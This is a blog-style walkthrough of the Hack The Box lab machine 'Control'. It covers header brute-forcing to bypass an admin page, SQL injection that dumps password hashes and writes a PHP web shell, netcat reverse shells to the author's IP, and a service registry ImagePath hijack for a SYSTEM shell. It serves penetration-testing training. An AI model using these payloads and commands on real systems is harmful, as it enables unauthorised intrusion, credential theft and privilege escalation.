alt text

Control was by far one of the hardest box I’ve ever done. It starts with bypassing restriction to admin.php by bruteforcing HTTP Headers using wFuzz. From there, I’ve exploited SQL vulnerability to obtain password hashes for multiple users and spawn PHP reverse shell. For privilege escalation 1, I cracked the password hash found from earlier and used it to create Powershell credential object, which is then used to spawn shell as the elevated user privilege. For obtaining Administrator privilege, I discovered Powershell History file which leads me to rewriting registry keys for the vulnerable services, which will spawn me a shell as the system.

Privilege Escalation from user Hector to Administrator was really painful since it required lot of Powershell scripting. I ended up following the Walkthrough listed at the references below.

Information Gathering

Rustscan

Rustscan finds HTTP, MSRPC, and MySQL running on the server.

┌──(yoon㉿kali)-[~/Documents/htb/control]
└─$ rustscan --addresses 10.10.10.167 --range 1-65535
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍
<snip>
Host is up, received syn-ack (0.31s latency).
Scanned at 2024-04-17 09:26:59 EDT for 2s
 
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack
135/tcp   open  msrpc   syn-ack
3306/tcp  open  mysql   syn-ack
49666/tcp open  unknown syn-ack
49667/tcp open  unknown syn-ack
 
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.54 seconds

Nmap

There’s nothing special from the nmap scan:

┌──(yoon㉿kali)-[~/Documents/htb/control]
└─$ sudo nmap -sVC -p 80,135,3306,49666,49667 10.10.10.167                                         
[sudo] password for yoon: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-17 09:29 EDT
Nmap scan report for 10.10.10.167
Host is up (0.30s latency).
 
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Microsoft IIS httpd 10.0
|_http-title: Fidelity
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open     msrpc   Microsoft Windows RPC
3306/tcp  filtered mysql
49666/tcp open     msrpc   Microsoft Windows RPC
49667/tcp open     msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.92 seconds

Enumeration

MySQL - TCP 3306

MySQL won’t allow login from my VPN IP address:

alt text

HTTP - TCP 80

The website seems to be for some sort of tech company and has menus on top right corner:

alt text

Source code has an interesting hidden information on it:

alt text

/admin.php shows Access Denied, saying Header is missing and I have to go through the proxy to access the page:

alt text

Directory Bruteforce

Before trying to bypass admin.php restriction, I will first directory bruteforce using Feroxbuster:

sudo feroxbuster -u http://10.10.10.167 -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404

alt text

Feroxbuster discovers several interesting paths such as uploads.

I will do directory bruteforce once more on it:

sudo feroxbuster -u http://10.10.10.167/uploads -n -x php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -C 404

alt text

HTTP Header Bruteforce

Here, I found bunch of HTTP Headers that I can bruteforce with.

I will first bruteforce headers with host IP address:

wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167"

alt text

It seems like Access Denied page has the size of 89 chars.

This time, I will filter out headers with size of 89 chars:

wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89

alt text

Several headers are found but none of them has the response code of 200.

Remembering the IP address from source code earlier, I will change the host IP address to IP address found from the source code:

wfuzz -c -w headers.txt -u http://10.10.10.167/admin.php -H "FUZZ: 192.168.4.28" --hh 89

alt text

It seems like X-FORWARDED-FOR: 192.168.4.28 will help to bypass the access denied page.

/admin.php

Now by intercepting the request to admin.php and adding X-FORWARDED-FOR: 192.168.4.28, I should be able to access admin.php:

alt text

admin.php seems to be a page where it helps to manage products such as to search, delete, and update:

alt text

Since modifying the header value everytime I move pages is annoying, I will use Firefox’s Modify-Header-Value to automate this:

alt text

I can set up the Header for http://10.10.10.167 as such, and now it automatically add the header everytime I move between pages:

alt text

SQLi to Shell

SQLMap

I will try adding at the end of the product name to see if anything happens:

http://10.10.10.167/search_products.php

alt text

It seems like there is SQL running here with MariaDB at the background.

I will intercept the request to search_products.php so that I can pass it on to sqlmap:

alt text

I will run sqlmap towards the request and it seems to be vulnerable to SQL injection:

sqlmap -r search-product-req.txt --dbs --batch

alt text

There are three databases running in the background: information_schema, mysql, and warehouse:

alt text

I will now query tables inside warehouse database:

sqlmap -r search-product-req.txt --dbs --batch -p productName -D warehouse --tables

alt text

There are three tables (product, product_category, and product_pack), and none of them looks very intriguing.

Now I will list tables in mysql database:

sqlmap -r search-product-req.txt --dbs --batch -p productName -D mysql --tables

alt text

user table looks interesting to me.

I will move on to dumping user table from mysql database:

sqlmap -r search-product-req.txt --dbs --batch -p productName -D mysql -T user --dump

HostUserPassword
localhostroot*0A4A5CAD344718DC418035A1F4D292BA603134D8
fidelityroot*0A4A5CAD344718DC418035A1F4D292BA603134D8
127.0.0.1root*0A4A5CAD344718DC418035A1F4D292BA603134D8
::1root*0A4A5CAD344718DC418035A1F4D292BA603134D8
localhostmanager*CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA (l3tm3!n)
localhosthector*0E178792E8FC304A2E3133D535D38CAF1DA3CD9D

It discovers bunch of password hashes and password for user manager is cracked: l3tm3!n

I will try spawning os-shell just in case and it works:

sqlmap -r search-product-req.txt --dbs --batch -p productName --os-shell

alt text

Luckily, I can spawn a shell as the nt authority\iusr but it seems like I amd not able to spawn a reverse shell connection from this sqlmap shell connection to my local listener.

I would have to spawn a reverse shell through manual sql injection not using SQLmap.

Manual SQli

Although using tools such as sqlmap is convenient, it is best practice to understand what is going on when you run a tool. I can manually conduct SQLi without SQLmap as well.

Identify Number of Columns

We first have to identify number of columns.

When selecting 5 columns, it shows an error:

productName=Asus+USB-AC53+Nano' UNION SELECT 1,2,3,4,5;-- -

alt text

Selecting 6 columns works fine without any error, meaning there are 6 columns present at the database:

productName=Asus+USB-AC53+Nano' UNION SELECT 1,2,3,4,5,6;-- -

alt text

Current user and database

Using the command below, I can query current database and user which is warehouse and manager@localhost:

productName=Asus USB-AC53+Nano' UNION SELECT database(),user(),3,4,5,6;-- -

alt text

List Database

I can list databases using the command below: information_schema, mysql, warehouse

productName=Asus USB-AC53 Nano' UNION SELECT group_concat(schema_name),2,3,4,5,6 from information_schema.schemata;-- -

alt text

List Tables

I can list tables inside the database as such:

productName=Asus USB-AC53 Nano' UNION SELECT group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema='warehouse';-- -

alt text

List columns

I can list coulmns inside table as such:

productName=Asus USB-AC53 Nano' UNION SELECT group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name='user';-- -

alt text

User, Password

I can read specific column fom the table as such:

productName=Asus USB-AC53 Nano' UNION SELECT user,password,3,4,5,6 from mysql.user;-- -

alt text

SQLi Shell

Using this article, I will be able to spawn a shell using SQL injection.

I will first upload PHP cmd shell to C:/inetpub/wwwroot/ as cmd.php:

productName=Asus USB-AC53 Nano' UNION SELECT '<?php system($_GET["cmd"]); ?>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/cmd.php';-- -

I can confirm RCE working using curl as such:

curl -s 'http://10.10.10.167/cmd.php?cmd=whoami'

alt text

Now in order to spawn reverse shell, I will first transfer nc.exe over using smbserver.

Run impacket-smbserver on directory with nc.exe:

impacket-smbserver share $(pwd) -smb2support

I will save nc.exe to C:\Windows\Temp using the command below:

curl -s 'http://10.10.10.167/cmd.php?cmd=copy+\\10.10.14.21\share\nc.exe+C%3a\Windows\Temp\nc.exe'

alt text

I can confirm nc.exe is transferred successfully:

alt text

Running nc.exe towards my local Kali lister, now I have shell as nt authority\iusr:

curl 'http://10.10.10.167/cmd.php?cmd=C%3a\Windows\Temp\nc.exe+-e+cmd.exe+10.10.14.21+1337'

alt text

Privesc: iusr to Hector

PowerUp.ps1

I will first start powershell session through powershell command and download PowerUp.ps1:

copy \\10.10.14.21\share\PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1

alt text

After running PowerUp.ps1, I can see the results using Invoke-AllChecks:

alt text

PowerUp.ps1 find one thing interesting which is SeImpersonatePrivilege:

alt text

Before running JuicyPotato attack, I will first check systeminfo to make sure the version is vulnerable to JP attack.

Current user has no privilege to run systeminfo:

alt text

Running nmap os scan, it guesses system is running on Microsofot Windows 2019 most likely:

sudo nmap -O 10.10.10.167 -v

alt text

Since Windows server 2019 is not vulnerable to JP attack, I will move on.

Local Enumerartion

On C:\Users, there’s only one user other than Administrator: Hector

alt text

It seems like Hector is in Remote Management Users group:

net user hector

alt text

I can see that the host is listening on 5985 (WinRM), even though the firewall must be preventing me from seeing it from my box:

netstat -ano -p tcp

alt text

I will be able to execute commands as hector using powershell but I will need hector’s password.

Password Crack

Remembering password hash discovered from SQLi earlier, I will use crackstation to crack it: l33th4x0rhector

alt text

Run command as Hector

Now that I have password for user Hector, I will be able to run command as hector.

After starting Powershell using powershell, I will create credential object:

$SecPassword = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('object.local\hector', $SecPassword)

Now using powershell’s cmdlet Invoke-Command and credential object, I can run commands as hector:

Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {whoami}

alt text

Shell as hector

Now that I can run commands as hector, I will once again try to spawn a reverse shell.

For some reason, hector cannot access the nc.exe file uploaded previously to C:\Windows\Temp:

alt text

I will make one more copy of nc.exe to different directory:

copy \\10.10.14.21\share\nc.exe C:\Windows\system32\spool\drivers\color\nc.exe

Now I can successfully run the command:

Invoke-Command -Computer localhost -Credential $Cred -ScriptBlock {C:\Windows\system32\spool\drivers\color\nc.exe -e cmd 10.10.14.21 1338}

alt text

I have a reverse shell connection as hector:

alt text

Privesc: Hector to Administrator

Privilege escalation from Hector to Administrator was very overwhelming. I ended up following other’s write-ups in the end. I recommend to check out other’s write-ups if mine is not clear enough.

WinPEAS

WinPEAS.exe finds PS history file under C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\:

alt text

Following two commands are shown in the Powershell history:

get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

alt text

These PowerShell commands are used for interacting with the Windows Registry and retrieving information about registry keys and their access control lists (ACLs).

  1. Get-ChildItem HKLM:\SYSTEM\CurrentControlSet | Format-List:

    • This command retrieves a list of child items (subkeys) under the HKLM:\SYSTEM\CurrentControlSet registry key.
    • Get-ChildItem is a cmdlet used to retrieve the child items (subkeys, properties, etc.) of a specified registry key.
    • HKLM: is the PowerShell provider alias for the HKEY_LOCAL_MACHINE registry hive.
    • SYSTEM\CurrentControlSet is the registry path from which child items are retrieved.
    • Format-List cmdlet is used to format the output as a list.
  2. Get-Acl HKLM:\SYSTEM\CurrentControlSet | Format-List:

    • This command retrieves the access control list (ACL) of the HKLM:\SYSTEM\CurrentControlSet registry key.
    • Get-Acl is a cmdlet used to retrieve the ACL of a specified registry key or file system object.
    • HKLM:\SYSTEM\CurrentControlSet is the registry path for which the ACL is retrieved.
    • Format-List cmdlet is used to format the output as a list.

get-childitem HKLM:\SYSTEM\CurrentControlset | format-list will list out bunch of services:

alt text

get-acl HKLM:\SYSTEM\CurrentControlSet | format-list will show the ACL:

alt text

There’s Audit Sddl at the end of the command output and it is impossible to read. I will have to decrypt it to make it readable.

Insecure ACLs abuse

Decrypt Sddl

I will first make Sddl readable using ConvertFrom-SddlString command as such:

$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services
ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl}

alt text

Since the above is still not very pretty to read, I organized it below:

NT AUTHORITY\Authenticated Users: AccessAllowed (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)
 
NT AUTHORITY\SYSTEM: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
 
BUILTIN\Administrators: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
 
CONTROL\Hector: AccessAllowed (ChangePermissions, CreateDirectories, Delete, ExecuteKey, FullControl, GenericExecute, GenericWrite, ListDirectory, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, WriteData, WriteExtendedAttributes, WriteKey)
 
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES: AccessAllowed (ExecuteKey, ListDirectory, ReadExtendedAttributes, ReadPermissions, WriteExtendedAttributes)

It seems like Hector got lot of rights towards editing services.

Exploitation

Hector has Read/Write access to a lot of registry entries related to services.

In order to get RCE as the system, I would need the following:

  • I can edit registry entries as Hector
  • I need to start and stop the service as Hector
  • Serice is already configured to run as the LocalSystem

Command below, will save all the services under HKLM:\System\CurrentControlSet\Services to variables $services:

$services = Get-ItemProperty -Path HKLM:\System\CurrentControlSet\Services\*

alt text

Command below will filter LocalSystem owned services from variable $services:

$services | Where-Object { ($_.ObjectName -match 'LocalSystem') }

alt text

Command below will will filter LocalSystem owned services that user Hector can start from the variable $services:

$services | Where-Object { ($_.ObjectName -match 'LocalSystem') -and ($_.Start -eq '3') }

alt text

I will save fs and filter out only pschildname from it as such:

$fs = $services | Where-Object { ($_.ObjectName -match 'LocalSystem') -and ($_.Start -eq '3') }
$names = $fs.pschildname

alt text

Among all the services that satisfies my requirement, seclogon seems to be a good candidate:

sc query seclogon

alt text

I can retrieve registry information regarding seclogon as such:

reg query HKLM\System\CurrentControlSet\Services\seclogon

alt text

I’ll change the ImagePath of the service so it runs my netcat as SYSTEM.

reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "c:\windows\system32\spool\drivers\color\nc.exe 10.10.14.21 9002 -e cmd.exe" /f

alt text

I’ll start seclogon using sc start seclogon:

alt text

Now I have shell as the system on my local listener:

alt text

References